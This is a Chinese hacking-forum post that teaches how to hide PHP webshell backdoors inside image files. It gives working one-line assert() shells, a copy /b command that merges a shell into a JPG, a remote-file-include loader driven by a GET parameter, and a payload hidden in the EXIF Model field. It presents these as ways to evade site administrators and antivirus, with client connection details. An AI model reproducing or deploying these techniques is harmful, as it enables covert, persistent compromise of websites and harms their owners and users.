PHP马图片后门藏匿攻略

0
回复
336
查看
[复制链接]
  • TA的每日心情
    无聊
    2024-7-25 02:03
  • 签到天数: 109 天

    [LV.6]常住居民II

    2357

    主题

    2362

    帖子

    0

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    0
    发表于 2022-3-16 17:21:50 | 显示全部楼层 |阅读模式
    PHP图片后门藏匿攻略

    我们平时藏匿图片后门是什么流程呢?我们来看一下

    0x01 初级的藏匿方法:

    1、建立一个eval.php文件,上面加入我们的后门:


    <?php assert($_POST[feiji]);?>

    2、找一张图片1.jpg,最好是从目标网站上下载下来的图片。

    3、合并图片和php后门:


    Copy /b C:\xampp\htdocs\images\1.jpg + C:\xampp\htdocs\images\eval.php C:\xampp\htdocs\images\2.jpg


    4、在任何一个php文件中包含这个2.jpg的图片后门,这里以images.php为例,写入以下的代码:


    <?php include (‘2.jpg’); ?>



    5、上传2.jpg和images.php,在菜刀里添加一句话后门:http://127.0.0.1/images/images.php,密码为feiji。


    访问图片正常:

    20180715221289978997.jpg

    访问images.php页面出现乱码,但是后门已经正常运行:

    20180715221227772777.jpg

    但是一句话在菜刀里是可以解析成功的:

    20180715221265086508.jpg


    注:省去第3步也是可以的,只不过直接访问图片会乱码,会让管理员起疑心。


    0x02 中级藏匿的方法:

    1、其实就是远程文件包含,也不只是针对图片,要求你有高权限,能够操纵Apache和修改php.ini文件:

    • 修改ini的配置选项allow_url_fopen和allow_url_include为ON。

    2、创建任何一个php文件中,以images.php为例,写入以下的代码:


    <?php $filename=$_GET['feiji'];include ($filename); ?>



    3、刚才做的图片后门jpg可以放在别的网站(http://www.xxxx.com)上,在菜刀里添加一句话后门:

    http://127.0.0.1/images/images.php?feiji=http://www.xxxx.com/images/2.jpg 密码为feiji


    注:这样做的优点是可以随时变换各种后门,缺点是很难获取到高权限。



    0x03 高级的藏匿方法背景知识:

    EXIF信息: 是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。所有的JPEG文件以字符串“0xFFD8”开头,并以字符串“0xFFD9”结束。文件头中有一系列“0xFF??”格式的字符串,称为“标识”,用来标记JPEG文件的信息段。“0xFFD8”表示图像信息开始,“0xFFD9”表示图像信息结束,这两个标识后面没有信息,而其它标识紧跟一些信息字符。

    其实就是这个玩意儿:选定图片右键选择属性,在详细信息里面可以看到(win7)

    20180715222243504350.jpg


    1、php里面有一个函数exif_read_data(),可以取得图片的EXIF信息头,但是需要开启php_exif模块。

    2、我们是可以随意修改EXIF信息的,例如:


    这里推荐一个小工具,PowerExif

    20180715222253525352.jpg


    免费版可以修改部分EXIF信息头,但是对我们来说已经足够了。

    打开工具,点击添加,在修改机型信息,如下:

    2018071522230127127.jpg


    添加我们的PAYLOAD:

    20180715222388718871.jpg

    3、我们来调试一下:


    <?

    $exif = exif_read_data('460.jpg');

    var_dump($exif);

    ?>




    输出:

    20180715222495989598.jpg

    4、利用方法:

    在php脚本上写入:

    <?

    $exif = exif_read_data ('460.jpg');

    assert($exif['Model']);

    ?>




    5、在菜刀上添加http://127.0.0.1/images/images.php 密码为feiji,效果:


    有同学可能会问,为什么要使用这种方法藏匿图片后门,这个不是和初级的藏匿方法等效吗?原因有三:

    • 有经验的管理员一看include文件就会发现有端倪。
    • 杀软会重点检查include包含的文件。
    • exif_read_data()函数可以包含远程的JPG文件,也就是等效于一个远程漏洞文件包含咯。

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则